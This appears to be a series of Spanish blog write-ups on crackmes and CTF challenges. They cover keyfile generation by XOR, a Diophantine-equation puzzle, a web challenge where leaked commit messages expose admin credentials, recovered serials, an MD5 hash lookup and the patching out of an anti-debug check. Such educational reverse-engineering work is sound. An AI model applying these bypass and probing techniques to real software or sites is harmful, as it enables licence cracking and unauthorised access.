Metemos el serial y vemos que lo acepta pero que nos muestra un nombre extraño. Esto es por que nos está mostrando los bytes del nombre xoreados, tendremos que hacer un XOR antes al nombre que queramos para que lo muestre correctamente.

07-09-2014 18-15-19

Recapitulando

Con lo que sabemos ahora hay que empezar a coger el toro por los cuernos. Lo primero que queremos que muestre el nombre deurus y no deurus12345678. Para ello debemos cortar el bucle y eso solo lo podemos hacer forzando que el resultado del XOR sea 0. Ok pues para deurus el siguiente valor de BL, es decir el séptimo, en el bucle sería 47 lo que corresponde a la letra G. Pues si ponemos de serial deurusGxxxxxxxxxxx ya tendríamos la primera parte solucionada.

Pero recordemos que necesitamos XORear el nombre inicialmente, luego debemos escribir  el resultado del XOR.

Ejemplo:

d  e  u  r  u  s  
64 65 75 72 75 73
                  XOR
41 42 43 44 45 46
-----------------
25 27 36 36 30 35

25 27 36 36 30 35 ----- debemos meter esto en el archivo llave.
                  XOR
41 42 43 44 45 46
-----------------
64 65 75 72 75 73 ----- Al desencriptarlo el bucle se verá nuestro nombre correctamente.

En el archivo llave escribiriamos: %'6605

Ahora nos faltaría calcular el nuevo SUM. Como el resultado del XOR ahora es nuestro nombre, basta con sumar sus valores ascii (64+65+75+72+75+73 == 0x298)

0x12345678 XOR 0x298 == 0x123454E0

Luego nuestros 4 últimos dígitos deben ser lo correspondiente a los bytes E0, 54, 34, 12. Los pasamos a decimal y los escribimos en el archivo llave con el truco del ALT-Izq que hemos comentado antes.

El contenido final del archivo llave para el nombre deurus sería:

%’6605GxxxxxxxÓT4↕

07-09-2014 16-55-15

Aquí vemos el archivo llave normal.

keyfiletext

Y aquí lo vemos con un editor hexadecimal. Como veis se ven claramente los bytes E0, 54, 34, 12.

keyfilehex

Os dejo un keygen hecho en .Net para que probéis. Os genera el contenido del archivo y el archivo «crackme3.key».

keygen

Links


Introducción Este es un crackme hecho en .Net con dos Nags a parchear y un algoritmo muy sencillo pero que
Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Introducción El otro día navegando por la red fuí a dar a un mirror de la gran web "Karpoff Spanish

El reto

Se nos proporciona la imagen anterior y se nos invita a resolver la ecuación para el menor entero positivo que representa cada fruta. La solución del reto es concatenar «Flag-» a la suma de los valores de las tres frutas.

Análisis inicial

El enunciado es breve pero ya nos adelanta que existen varias soluciones y que además sólo quieren los números más pequeños que podamos encontrar.

Las frutas están muy bien y son muy sanas pero a nosotros se nos hace más sencillo plantear la ecuación con letras.

\begin{align}
&  \frac{x}{y+z}+\frac{y}{x+z}+\frac{z}{x+y}=4\\
\end{align}

Para arrojar algo de luz veamos la representación gráfica en 2D y 3D con la ayuda de Desmos.

3D

Las gráficas más que luz nos traen oscuridad de modo que preguntemos a ChatGPT.

ChatGPT

resuelve: (x/y+z)+(y/x+z)+(z/x+y)=4 para enteros positivos

Dado que las variables x, y, z son enteros positivos, podemos intentar encontrar una solución para la ecuación bajo estas condiciones. Sin embargo, encontrar una solución exacta puede ser complejo debido a la naturaleza no lineal de la ecuación. Aun así, podemos intentar algunos enfoques:

  • Prueba y error: Podemos probar diferentes combinaciones de valores enteros positivos para x, y, z y ver si satisfacen la ecuación.
  • Análisis de casos específicos: Podemos comenzar analizando casos más simples, como cuando dos de las variables son iguales, y luego ampliar nuestra búsqueda desde allí.
  • Análisis gráfico o numérico: Utilizando herramientas gráficas o numéricas, podríamos identificar posibles soluciones y luego verificar si son enteros positivos.

Voy a realizar un análisis numérico con un rango limitado de valores para ver si encontramos alguna solución que cumpla con las condiciones. Vamos a probar con valores de 1 a 10 para cada variable.

El análisis numérico para valores de en el rango de 1 a 10 no ha encontrado ninguna solución que satisfaga la ecuación. Esto sugiere que, dentro de este rango, no existen combinaciones de enteros positivos que cumplan con la ecuación.

Dado que la ecuación es bastante compleja y no lineal, es posible que las soluciones, si existen, se encuentren fuera del rango considerado o que requieran un enfoque diferente para ser identificadas. Si tienes un rango específico de valores en mente o si hay alguna otra restricción o contexto relevante, por favor házmelo saber para poder ajustar el análisis en consecuencia.

Básicamente nos está invitando a utilizar prueba y error para encontrar una solución, y el prueba y error de las matemáticas no es más que la fuerza bruta en programación.

El código

Partiendo del problema anterior dame un código en python que realice una comprobación recursiva de todas las variables con un rango de 1 a 999.

soluciones = []
rango_valores_x = range(1, 999)
rango_valores_y = range(1, 999)
rango_valores_z = range(1, 999)

for x in rango_valores_x:
    for y in rango_valores_y:
        for z in rango_valores_z:
            # Calculamos el valor de la expresión para cada combinación de x, y, z
            valor = x / (y + z) + y / (x + z) + z / (x + y)
            # Comprobamos si el valor es igual a 4 y agregamos la solución a la lista
            if abs(valor - 4) < 1e-6:  # Usamos una pequeña tolerancia para evitar errores de precisión
                soluciones.append((x, y, z))

print(soluciones)

Dejo resaltada la línea 12 del código ya que en ella reside el problema. Está comprobando con un margen de tolerancia de 10-6 ya que el resultado de las diferentes fracciones no da como resultado exacto 4. Esto es un problema ya que nosotros necesitamos que de exactamente 4 para validar los valores enteros de x, y y z. Pongo un ejemplo para el que se haya perdido con una solución válida para la tolerancia 10-6 siendo x=2, y=264 y z=993.

\begin{align}
&  \frac{2}{264+993}+\frac{264}{2+993}+\frac{993}{2+264}=4.000000429\\
\end{align}

En otras palabras, ChatGPT nos ha brindado una solución aproximada que no sirve para nuestro propósito. Seguimos probando con el código anterior quitando la tolerancia y con rangos mayores hasta que en 106 paro. Me acaba de quedar claro que con la fuerza bruta no vamos a ninguna parte, o más bien, no tenemos capacidad de computación para resolverlo de ésta manera.

¿Qué está pasando?

Lo que pasa es que estamos ante una ecuación algebraica de 3 incógnitas que deben ser enteros positivos cuya solución se alcanza mediante la teoría de curvas elípticas.

Curvas elípticas

Las curvas elípticas son fundamentales en matemáticas avanzadas, representadas por la ecuación y2=x3+Ax+B, donde A y B son constantes. Estas curvas son un punto de encuentro entre la geometría, la teoría de números y el álgebra, ofreciendo un campo rico para la exploración y el análisis. En este CTF, nos enfocaremos en los puntos racionales de las curvas elípticas. Utilizando el método tangente-secante, un procedimiento geométrico iterativo, buscaremos ampliar un conjunto finito de soluciones conocidas a la ecuación de la curva. Este método nos permite indagar en la estructura de las soluciones racionales, que potencialmente pueden ser infinitas. Además, estableceremos una conexión entre las soluciones enteras de las ecuaciones diofánticas y los puntos racionales en las curvas elípticas partiendo de la ecuación (1) especificada en el análisis inicial. A pesar de su aparente simplicidad, esta ecuación es conocida por presentar soluciones mínimas de gran tamaño.

Adecuación

Antes de nada, necesitamos saber el grado de la ecuación, de modo que planteamos la ecuación en forma polinómica estándar deshaciéndonos de los denominadores.

\begin{align}
\begin{split}
n(a+b)(b+c)(c+a)=a(a+b)(c+a)+b(b+c)(a+b)+c(c+a)(b+c)
\end{split}
\end{align}

Ahora necesitamos expandir y simplificar para llegar a la conclusión de que estamos ante una ecuación diofántica de grado 3. Este proceso es engorroso por la cantidad de términos a manejar así que vamos a utilizar Mathematica como software de respaldo para finalmente obtener el polinomio en la forma de Weierstrass según la ecuación 4.

\begin{align}
&  y^2=x^3+109x^2+224x\\
\end{align}

donde:

\begin{align}
x = \frac{−28(a+b+2c)}{(6a+6b−c)}\\
y = \frac{364(a−b)}{(6a+6b−c)}
\end{align}

Las relación entre la ecuación 3 y los puntos de la curva elíptica se establecen mediante la ecuación 4. Las transformaciones entre las soluciones (a, b, c) y los puntos (x, y) en la curva elíptica vienen dados por las ecuaciones 5 y 6. Con estas transformaciones, cada solución de la ecuación diofántica se puede representar como un punto en la curva elíptica, y las operaciones de suma de puntos en la curva elíptica pueden usarse para encontrar nuevas soluciones de la ecuación diofántica.

Mathematica

El código que tenéis a continuación pertenece al gran trabajo de Aditi Kulkarni [7], que además nos da el resultado para cualquier valor de n. Ojo porque para n=4 el resultado tiene 81 dígitos, para n=6 tiene 134, para n=10 tiene 190 y para n=12 asciende a 2707 dígitos.

(* Asignar un valor numérico a n *)
n = 4;
(* Definir la ecuación de una curva elíptica en términos de n *)
curve4 = y^2 == x^3 + (4*n^2 + 12*n - 3)*x^2 + 32*(n + 3)*x;
(* Encontrar un punto racional en la curva que no sea (4,0) *)
P4 = {x, y} /. First[FindInstance[curve4 && x != 4 && y != 0, {x, y}, Integers]];
(* Función para calcular la pendiente entre dos puntos en la curva, 
   o la derivada en el punto si son iguales *)
Slope4[{x1_, y1_}, {x2_, y2_}] := 
  If[x1 == x2 && y1 == y2, 
     ImplicitD[curve4, y, x] /. {x -> x1, y -> y1}, 
     (y2 - y1)/(x2 - x1)];
(* Función para calcular la intersección en y de la línea entre dos puntos 
   o la tangente en el punto si son iguales *)
Intercept4[{x1_, y1_}, {x2_, y2_}] := y1 - Slope4[{x1, y1}, {x2, y2}]*x1; 
(* Función para encontrar el siguiente punto racional en la curva *)
nextRational4[{x1_, y1_}, {x2_, y2_}] := 
  {Slope4[{x1, y1}, {x2, y2}]^2 - CoefficientList[curve4[[2]], x][[3]] - x1 - x2, 
   -Slope4[{x1, y1}, {x2, y2}]^3 + Slope4[{x1, y1}, {x2, y2}]*(CoefficientList[curve4[[2]], x][[3]] + x1 + x2) - Intercept4[{x1, y1}, {x2, y2}]};
(* Función para convertir un punto en la curva elíptica a una solución diofántica *)
ellipticToDiophantine[n_, {x_, y_}] := 
  {(8*(n + 3) - x + y)/(2*(4 - x)*(n + 3)), 
   (8*(n + 3) - x - y)/(2*(4 - x)*(n + 3)), 
   (-4*(n + 3) - (n + 2)*x)/((4 - x)*(n + 3))};
(* Usar nextRational4 para iterar desde P4 hasta encontrar una solución 
   válida y positiva para la ecuación diofántica *)
sol4 = ellipticToDiophantine[n, 
   NestWhile[nextRational4[#, P4] &, P4, 
     ! AllTrue[ellipticToDiophantine[n, #], Function[item, item > 0]] &]];
(* Escalar la solución para obtener enteros mínimos *)
MinSol4 = sol4*(LCM @@ Denominator[sol4])
(* Suma de las tres variables*)
Total[MinSol4]

Solución

Concatenando Flag- con el resultado de Mathematica tenemos la ansiada flag.

Flag-195725546580804863527010379187516702463973843196699016314931210363268850137105614

Conclusiones

ChatGPT ha demostrado ser eficaz en el análisis y la resolución de problemas, siempre que se le proporcione el contexto adecuado. Sin embargo, es importante ser conscientes de que la respuesta proporcionada puede ser aproximada, especialmente si la solución requiere una gran cantidad de recursos computacionales. Por ejemplo, al trabajar con una ecuación diofántica y valores específicos para (x) e (y), ChatGPT puede ayudar a calcular puntos como (P), (2P), (3P), etc., pero hay que tener en cuenta que los resultados para estos puntos pueden ser estimaciones.

Finalmente, os invito a leer la solución de Mingliang Z. [4], en la que se resuelve el problema por completo y de forma muy detallada.

Enlaces

Alerta de Spoiler: El reto está en activo a fecha de publicación.

Spoiler alert: The challenge is still alive.

Este tipo de retos son de lo más variopinto pero una de las primeras cosas que se suele hacer es ver el código fuente y fijarse en los enlaces para hacernos una idea del tipo de vulnerabilidades a explotar. Empezamos por explorar el código fuente.

<html>
<head>
    <link href="../../assets/css/bootstrap.min.css" rel="stylesheet" type="text/css">
    <script src="../../assets/js/jquery.min.js" type="text/javascript"></script>
    <meta charset="UTF-8">
    <style>
        body{
            background-color: #111;
        }
        .main{
            background-color: #fff;
        }
    </style>
</head>
<body>
<div class="container main">
    <div class="jumbotron">
        <div class="container">
            <h1>ジェフのショップ</h1>
            <p>ジェフのショップへようこそ、私たちは...私たちは、新しいセキュリティシステムを幸せ持っています <img height="100" width="100" src="source/cat.gif"></p>
            <p><a class="btn btn-primary btn-lg" href="#" role="button">もっと詳しく知る »</a></p>
        </div>
    </div>
    <div class="row">
        <!-- Example row of columns -->
        <div class="row text-center">
            <div class="col-md-4">
                <h2>車</h2>
                <p class="text-center" style="margin: 20px;">我々 50,000円の価格で車を販売しています. </p>
                <p><a class="btn btn-danger " href="#" role="button">今すぐ購入<span class="glyphicon glyphicon-shopping-cart"></span></a></p>
            </div>
            <div class="col-md-4">
                <h2>剣</h2>
                <p class="text-justify" style="margin: 20px;">我々は、 25円の価格のために地球全体の最も鋭い剣を販売しています </p>
                <p><a class="btn btn-danger " href="#" role="button">今すぐ購入<span class="glyphicon glyphicon-shopping-cart"></span></a></p>
            </div>
            <div class="col-md-4">
                <h2>赤ジェフの毒</h2>
                <p class="text-justify" style="margin: 20px;">我々は毒、世界に存在するほとんどの不治の毒を販売しています。プライスレス90000.</p>
                <p><a class="btn btn-danger " href="#" role="button">今すぐ購入<span class="glyphicon glyphicon-shopping-cart"></span></a></p>
            </div>
        </div>
        <hr>
    </div>
    <div class="row">
        <!-- Example row of columns -->
        <div class="row text-center">
            <div class="col-md-4">
                <h2>魔法の脳</h2>
                <p class="text-justify" style="margin: 20px;">彼らは私たちの脳販売しているいくつかの場面で非常に便利です。その価格は約10円です.</p>
                <p><a class="btn btn-danger " href="#" role="button">今すぐ購入<span class="glyphicon glyphicon-shopping-cart"></span></a></p>
            </div>
            <div class="col-md-4">
                <h2>侵入テスト</h2>
                <p class="text-justify" style="margin: 20px;">私たちはあなたのウェブページやサーバーで完全なセキュリティを提供します。これはジェフの店の最高の製品です。</p>
                <p><a class="btn btn-danger " href="#" role="button">今すぐ購入<span class="glyphicon glyphicon-shopping-cart"></span></a></p>
            </div>
        </div>
        <hr>
    </div>
    <footer>
        <p>© ジェフは2015フンメルス</p>
    </footer>
</div>
</body>
</html>

A simple vista no hay nada sospechoso pero me llama la atención el enlace de la imagen del gatito «source/cat.gif«. Si fisgamos dentro de la carpeta «source» podemos ver que nos muestra el contenido de la carpeta como se puede apreciar en la imagen a continuación.

Contenido de la carpeta source

Contenido de la carpeta source

La carpeta «app» suena interesante. Hacemos clic y vemos lo siguiente.

Notice: Undefined index: commit in C:/xampp/htdocs/challenge-land/Realistic/shop/source/app/index.php on line 2

Vemos que el error mostrado muestra más información de la debida y la aprovecharemos en beneficio propio. Aquí la clave está en el fichero index.php y en el parámetro commit. Haremos una prueba para ver que vamos por el buen camino.

http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit

y recibimos el error «The commit number not found.»

Probamos entonces añadiendo números al parámetro commit y nos fijamos en las respuestas.

http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=1
すべて更新
http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=2
Jeff@shop.com 2013年5月5日 - >ちょっと私たちは.htpasswdの使用する必要がジェームズと.htaccess保護...本当に安全です。すべてのファイルを更新します
http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=3
すべて更新
http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=4
すべて更新
http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=5
すべて更新
http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=6
James@shop.com 2013年5月7日に - >ジェフ、大丈夫、私はそれに仕事に行きます。すべてのファイルを更新し、覚えています - jeffshop:adm1n$2015*+
http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=7
すべて更新
http://challengeland.co/Realistic/e4633b53f9/source/app/index.php?commit=8
jeff@shop.com 2013年5月9日 - >ジェームズ、良い仕事...新しいユーザーとパスがあります jeffcrazyshop:h4rDtoF1nD

Hay varias respuestas sugerentes pero quizá la más relevante es la 8. Ahora bien, solo falta encontrar donde introducir el usuario y la clave.

Si volvemos a la página principal vemos en el enlace algo interesante, me refiero a index.php?page=index. Tras probar varias cosas la que funciona es la típica, admin.

http://challengeland.co/Realistic/e4633b53f9/index.php?page=admin

Al entrar vemos que nos redirige al index de nuevo tras pocos segundos. Aquí hay dos opciones, desactivar javascript para evitar la redirección o entrar directamente a la página admin.php. Optamos por el camino fácil entrando directamente en admin.php:

http://challengeland.co/Realistic/e4633b53f9/admin.php

Login

Login

Introduciendo los datos obtenidos anteriormente nos muestra la querida flag.

Enlaces

Introducción

Recién rescatados del inframundo que es mi disco duro, os traigo un paquete de seis crackmes facilones para vuestro uso y disfrute. Desgraciadamente ya no está en activo la web de retos de donde los saqué así que os los dejo en descargas.

Los cuatro primero están realizados en Dev-C++ 4.9.9.2 siendo de estilo consola de comandos. Los dos restantes compilados con MingWin32 GCC 3.x carecen de GUI y vamos, que no se han esmerado mucho en darles forma.

Level 1

No cuesta mucho dar con el código interesante mediante las referencias de texto. En Ollydbg clic derecho sobre el código y Search for > All referenced text strings.

004012E1   |.  8845 E8         MOV BYTE PTR SS:[EBP-18],AL                                    ; ||||
004012E4   |.  C70424 11304000 MOV DWORD PTR SS:[ESP],level1.00403011                         ; ||||ASCII "Input Serial: "
004012EB   |.  E8 C0050000     CALL <JMP.&msvcrt.printf>                                      ; |||\printf
004012F0   |.  8D45 C8         LEA EAX,[LOCAL.14]                                             ; |||
004012F3   |.  894424 04       MOV DWORD PTR SS:[ESP+4],EAX                                   ; |||
004012F7   |.  C70424 20304000 MOV DWORD PTR SS:[ESP],level1.00403020                         ; |||ASCII "%s"
004012FE   |.  E8 9D050000     CALL <JMP.&msvcrt.scanf>                                       ; ||\scanf
00401303   |.  8D45 D8         LEA EAX,[LOCAL.10]                                             ; ||
00401306   |.  8D55 C8         LEA EDX,[LOCAL.14]                                             ; ||
00401309   |.  894424 04       MOV DWORD PTR SS:[ESP+4],EAX                                   ; ||
0040130D   |.  891424          MOV DWORD PTR SS:[ESP],EDX                                     ; ||level1.00403022
00401310   |.  E8 7B050000     CALL <JMP.&msvcrt.strcmp>                                      ; |\strcmp
00401315   |.  8945 C4         MOV [LOCAL.15],EAX                                             ; |
00401318   |.  837D C4 00      CMP [LOCAL.15],0                                               ; |
0040131C   |.  75 0E           JNZ SHORT level1.0040132C                                      ; |
0040131E   |.  C70424 23304000 MOV DWORD PTR SS:[ESP],level1.00403023                         ; |ASCII "Well done. \n"
00401325   |.  E8 86050000     CALL <JMP.&msvcrt.printf>                                      ; \printf
0040132A   |.  EB 0C           JMP SHORT level1.00401338
0040132C   |>  C70424 30304000 MOV DWORD PTR SS:[ESP],level1.00403030                         ; |ASCII "Wrong. \n"
00401333   |.  E8 78050000     CALL <JMP.&msvcrt.printf>                                      ; \printf
00401338   |>  C70424 39304000 MOV DWORD PTR SS:[ESP],level1.00403039                         ; |ASCII "PAUSE"
0040133F   |.  E8 3C050000     CALL <JMP.&msvcrt.system>                                      ; \system
00401344   |.  B8 00000000     MOV EAX,0
00401349   |.  C9              LEAVE
0040134A   \.  C3              RETN

La madre del cordero está en la dirección 401310 que es donde se lleva a cabo la función de comparación strcmp.

756296A0 msvcrt.strcmp     8B5424 04         MOV EDX,DWORD PTR SS:[ESP+4]
756296A4                   8B4C24 08         MOV ECX,DWORD PTR SS:[ESP+8] 
756296A8                   F7C2 03000000     TEST EDX,3				; 0-3 = 4 bucles. Divide la comprobación en 4 bloques
756296AE                   75 3C             JNZ SHORT msvcrt.756296EC		; salta si hemos terminado los 4 bucles
756296B0                 > 8B02              MOV EAX,DWORD PTR DS:[EDX]		; coge 4 caracteres del serial (INICIO BUCLE)
756296B2                   3A01              CMP AL,BYTE PTR DS:[ECX]		; compara el 1º/5º/9º/13º dígito en función del bucle
756296B4                   75 2E             JNZ SHORT msvcrt.756296E4		; salto a zona mala
756296B6                   0AC0              OR AL,AL
756296B8                   74 26             JE SHORT msvcrt.756296E0
756296BA                   3A61 01           CMP AH,BYTE PTR DS:[ECX+1]		; compara el 2º/6º/10º/14º dígito en función del bucle
756296BD                   75 25             JNZ SHORT msvcrt.756296E4		; salto a zona mala
756296BF                   0AE4              OR AH,AH
756296C1                   74 1D             JE SHORT msvcrt.756296E0
756296C3                   C1E8 10           SHR EAX,10
756296C6                   3A41 02           CMP AL,BYTE PTR DS:[ECX+2]		; compara el 3º/7º/11º/15º dígito en función del bucle
756296C9                   75 19             JNZ SHORT msvcrt.756296E4		; salto a zona mala
756296CB                   0AC0              OR AL,AL
756296CD                   74 11             JE SHORT msvcrt.756296E0
756296CF                   3A61 03           CMP AH,BYTE PTR DS:[ECX+3]		; compara el 4º/8º/12º/16º dígito en función del bucle
756296D2                   75 10             JNZ SHORT msvcrt.756296E4		; salto a zona mala
756296D4                   83C1 04           ADD ECX,4
756296D7                   83C2 04           ADD EDX,4
756296DA                   0AE4              OR AH,AH
756296DC                 ^ 75 D2             JNZ SHORT msvcrt.756296B0		; Si no hemos terminado... 
756296DE                   8BFF              MOV EDI,EDI                         
756296E0                   33C0              XOR EAX,EAX			; EAX = 0 que es lo deseado
756296E2                   C3                RETN				; salimos de la función superando la comprobación
756296E3                   90                NOP							
756296E4                   1BC0              SBB EAX,EAX			; Zona mala
756296E6                   D1E0              SHL EAX,1
756296E8                   83C0 01           ADD EAX,1				; EAX = 1 implica bad boy
756296EB                   C3                RETN				; salimos de la función

Si atendemos al volcado vemos el serial bueno Kcgcv8LsmV3nizfJ.

0060FEF0  31 32 33 34 35 36 37 38 39 30 00 75 40 19 18 00  1234567890.u@.
0060FF00  4B 63 67 63 76 38 4C 73 6D 56 33 6E 69 7A 66 4A  Kcgcv8LsmV3nizfJ

Curiosamente, si introducimos el serial bueno el crackme no lo acepta. Fijándome en la comprobación veo que al introducir un serial de 16 caracteres inserta un carácter nulo (0x00) alterando el serial correcto y falseando la comprobación.

0060FEF0  4B 63 67 63 76 38 4C 73 6D 56 33 6E 69 7A 66 4A  Kcgcv8LsmV3nizfJ
0060FF00  00 63 67 63 76 38 4C 73 6D 56 33 6E 69 7A 66 4A  .cgcv8LsmV3nizfJ

Ahora ya no podemos comprobarlo pero recuerdo que la web consideraba válido el serial Kcgcv8LsmV3nizfJ, por lo que considero lo anteriormente citado un bug o un intento de despiste del autor.

Level 2

Es exactamente igual que el anterior cambiando el serial por 6LPw3vDYja9KrT2V.

Level 3

La comprobación del serial es igual a las dos anteriores pero añade una función intermedia que suma 0xD a cada carácter de nuestro serial

00401355                 |.  A1 03304000     MOV EAX,DWORD PTR DS:[403003]                  ; ||
0040135A                 |.  8945 E8         MOV [LOCAL.6],EAX                              ; ||
0040135D                 |.  A1 07304000     MOV EAX,DWORD PTR DS:[403007]                  ; ||
00401362                 |.  8945 EC         MOV [LOCAL.5],EAX                              ; ||
00401365                 |.  A1 0B304000     MOV EAX,DWORD PTR DS:[40300B]                  ; ||
0040136A                 |.  8945 F0         MOV [LOCAL.4],EAX                              ; ||
0040136D                 |.  A1 0F304000     MOV EAX,DWORD PTR DS:[40300F]                  ; ||
00401372                 |.  8945 F4         MOV [LOCAL.3],EAX                              ; ||
00401375                 |.  C70424 13304000 MOV DWORD PTR SS:[ESP],level3.00403013         ; ||ASCII "Input Serial: "
0040137C                 |.  E8 CF050000     CALL <JMP.&msvcrt.printf>                      ; |\printf
00401381                 |.  8D45 D8         LEA EAX,[LOCAL.10]                             ; |
00401384                 |.  894424 04       MOV DWORD PTR SS:[ESP+4],EAX                   ; |
00401388                 |.  C70424 00304000 MOV DWORD PTR SS:[ESP],level3.00403000         ; |ASCII "%s"
0040138F                 |.  E8 AC050000     CALL <JMP.&msvcrt.scanf>                       ; \scanf
00401394                 |.  8D5D E8         LEA EBX,[LOCAL.6]
00401397                 |.  8D45 D8         LEA EAX,[LOCAL.10]
0040139A                 |.  890424          MOV DWORD PTR SS:[ESP],EAX
0040139D                 |.  E8 EEFEFFFF     CALL level3.00401290			    ; NUEVA FUNCIÓN SUMA
004013A2                 |.  895C24 04       MOV DWORD PTR SS:[ESP+4],EBX                   ; ||
004013A6                 |.  890424          MOV DWORD PTR SS:[ESP],EAX                     ; ||
004013A9                 |.  E8 82050000     CALL <JMP.&msvcrt.strcmp>                      ; |\strcmp
004013AE                 |.  8945 D4         MOV [LOCAL.11],EAX                             ; |
004013B1                 |.  837D D4 00      CMP [LOCAL.11],0                               ; |
004013B5                 |.  75 0E           JNZ SHORT level3.004013C5                      ; |
004013B7                 |.  C70424 22304000 MOV DWORD PTR SS:[ESP],level3.00403022         ; |ASCII "Well done."
004013BE                 |.  E8 8D050000     CALL <JMP.&msvcrt.printf>                      ; \printf
004013C3                 |.  EB 0C           JMP SHORT level3.004013D1
004013C5                 |>  C70424 2D304000 MOV DWORD PTR SS:[ESP],level3.0040302D         ; |ASCII "Wrong. \n"
004013CC                 |.  E8 7F050000     CALL <JMP.&msvcrt.printf>                      ; \printf
004013D1                 |>  C70424 36304000 MOV DWORD PTR SS:[ESP],level3.00403036         ; |ASCII "PAUSE"
004013D8                 |.  E8 43050000     CALL <JMP.&msvcrt.system>                      ; \system
004013DD                 |.  B8 00000000     MOV EAX,0
004013E2                 |.  8B5D FC         MOV EBX,[LOCAL.1]                              
004013E5                 |.  C9              LEAVE
004013E6                 \.  C3              RETN
--------
004012A4                 |> /8B45 08         /MOV EAX,[ARG.1]                               ; |
004012A7                 |. |890424          |MOV DWORD PTR SS:[ESP],EAX                    ; |
004012AA                 |. |E8 B1060000     |CALL <JMP.&msvcrt.strlen>                     ; \strlen
004012AF                 |. |3945 FC         |CMP [LOCAL.1],EAX
004012B2                 |. |73 1C           |JNB SHORT level3.004012D0
004012B4                 |. |8B45 08         |MOV EAX,[ARG.1]
004012B7                 |. |8B55 FC         |MOV EDX,[LOCAL.1]
004012BA                 |. |01C2            |ADD EDX,EAX
004012BC                 |. |8B45 08         |MOV EAX,[ARG.1]
004012BF                 |. |0345 FC         |ADD EAX,[LOCAL.1]
004012C2                 |. |0FB600          |MOVZX EAX,BYTE PTR DS:[EAX]
004012C5                 |. |04 0D           |ADD AL,0D					    ; char + 0xD
004012C7                 |. |8802            |MOV BYTE PTR DS:[EDX],AL
004012C9                 |. |8D45 FC         |LEA EAX,[LOCAL.1]
004012CC                 |. |FF00            |INC DWORD PTR DS:[EAX]
004012CE                 |.^\EB D4           \JMP SHORT level3.004012A4
--------
756296A0 msvcrt.strcmp     8B5424 04         MOV EDX,DWORD PTR SS:[ESP+4]
756296A4                   8B4C24 08         MOV ECX,DWORD PTR SS:[ESP+8]
756296A8                   F7C2 03000000     TEST EDX,3
756296AE                   75 3C             JNZ SHORT msvcrt.756296EC
756296B0                   8B02              MOV EAX,DWORD PTR DS:[EDX]
756296B2                   3A01              CMP AL,BYTE PTR DS:[ECX]
756296B4                   75 2E             JNZ SHORT msvcrt.756296E4
756296B6                   0AC0              OR AL,AL
756296B8                   74 26             JE SHORT msvcrt.756296E0
756296BA                   3A61 01           CMP AH,BYTE PTR DS:[ECX+1]
756296BD                   75 25             JNZ SHORT msvcrt.756296E4
756296BF                   0AE4              OR AH,AH
756296C1                   74 1D             JE SHORT msvcrt.756296E0
756296C3                   C1E8 10           SHR EAX,10
756296C6                   3A41 02           CMP AL,BYTE PTR DS:[ECX+2]
756296C9                   75 19             JNZ SHORT msvcrt.756296E4
756296CB                   0AC0              OR AL,AL
756296CD                   74 11             JE SHORT msvcrt.756296E0
756296CF                   3A61 03           CMP AH,BYTE PTR DS:[ECX+3]
756296D2                   75 10             JNZ SHORT msvcrt.756296E4
756296D4                   83C1 04           ADD ECX,4
756296D7                   83C2 04           ADD EDX,4
756296DA                   0AE4              OR AH,AH
756296DC                 ^ 75 D2             JNZ SHORT msvcrt.756296B0
756296DE                   8BFF              MOV EDI,EDI
756296E0                   33C0              XOR EAX,EAX
756296E2                   C3                RETN
756296E3                   90                NOP
756296E4                   1BC0              SBB EAX,EAX
756296E6                   D1E0              SHL EAX,1
756296E8                   83C0 01           ADD EAX,1
756296EB                   C3                RETN

En la comparación vemos que el serial bueno es AvrQQsXjDk25Jrh por lo que si restamos 0xD (13 en decimal) a cada carácter obtendremos el serial bueno.

0060FF10  41 76 72 51 51 73 58 6A 44 6B 32 35 4A 72 68 00  AvrQQsXjDk25Jrh.

		  41 76 72 51 51 73 58 6A 44 6B 32 35 4A 72 68
	                                                      - D
		  34 69 65 44 44 66 4B 5D 37 5E 25 28 3D 65 5B
		  4  i  e  D  D  f  K  ]  7  ^  %  (  =  e  [
		  
		  Serial bueno: 4ieDDfK]7^%(=e[

Level 4

La comprobación del serial es igual que la anterior pero sustituyendo la función que sumaba un valor a cada dígito del serial por una que genera un hash con nuestro serial y después lo compara con otro hash almacenado en memoria. Si no nos viene a la mente el tipo de hash que puede ser PEiD ya nos avisaba de que efectivamente el crackme incorpora la función MD5.

La función MD5 hace tiempo que no se considera segura debido a la existencia de numerosos «diccionarios» de hashes que hacen que encontremos la solución en segundos. Yo he utilizado la web MD5 online pero existen muchas más.

0060FE5C   004013BF  RETURN to level4.004013BF from <JMP.&msvcrt.strcmp>
0060FE60   0060FEA0  ASCII "e807f1fcf82d132f9bb018ca6738a19f"
0060FE64   0060FEE0  ASCII "fe01d67a002dfa0f3ac084298142eccd"


e807f1fcf82d132f9bb018ca6738a19f == 1234567890
fe01d67a002dfa0f3ac084298142eccd == orange

Level 5

La carta de presentación de este crackme es la imagen que veis arriba. Al explorarlo unos minutos enseguida nos damos cuenta de que no realiza ninguna comprobación y que nos está haciendo perder el tiempo. Ahí es cuando empezamos a revisar el ejecutable más a fondo y enseguida encontramos la solución con nuestro amigo el editor hexadecimal.

the answer is AttachedString

Level 6

Misma carta de presentación que el anterior y misma ausencia de comprobación del serial. En esta ocasión echando un vistazo a los recursos encontramos la solución rápidamente.

Enlaces

Introducción

 Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.

Saltar el antidebug

Arrancamos el crackme en Olly damos al play y se cierra. Buscamos en las «Intermodular Calls» y vemos «IsDebuggerPresent«, clickamos sobre ella y vemos el típico call, lo NOPeamos.

names

Aquí vemos el call.

isdebuggerpresent

Call Nopeado.

antidebug

Encontrando un serial válido

Encontrar en serial válido en esta ocasión es muy sencillo, basta con buscar en las «String References» el mensaje de «Bad boy» y fijarse en la comparación.

comparacion

 El algoritmo

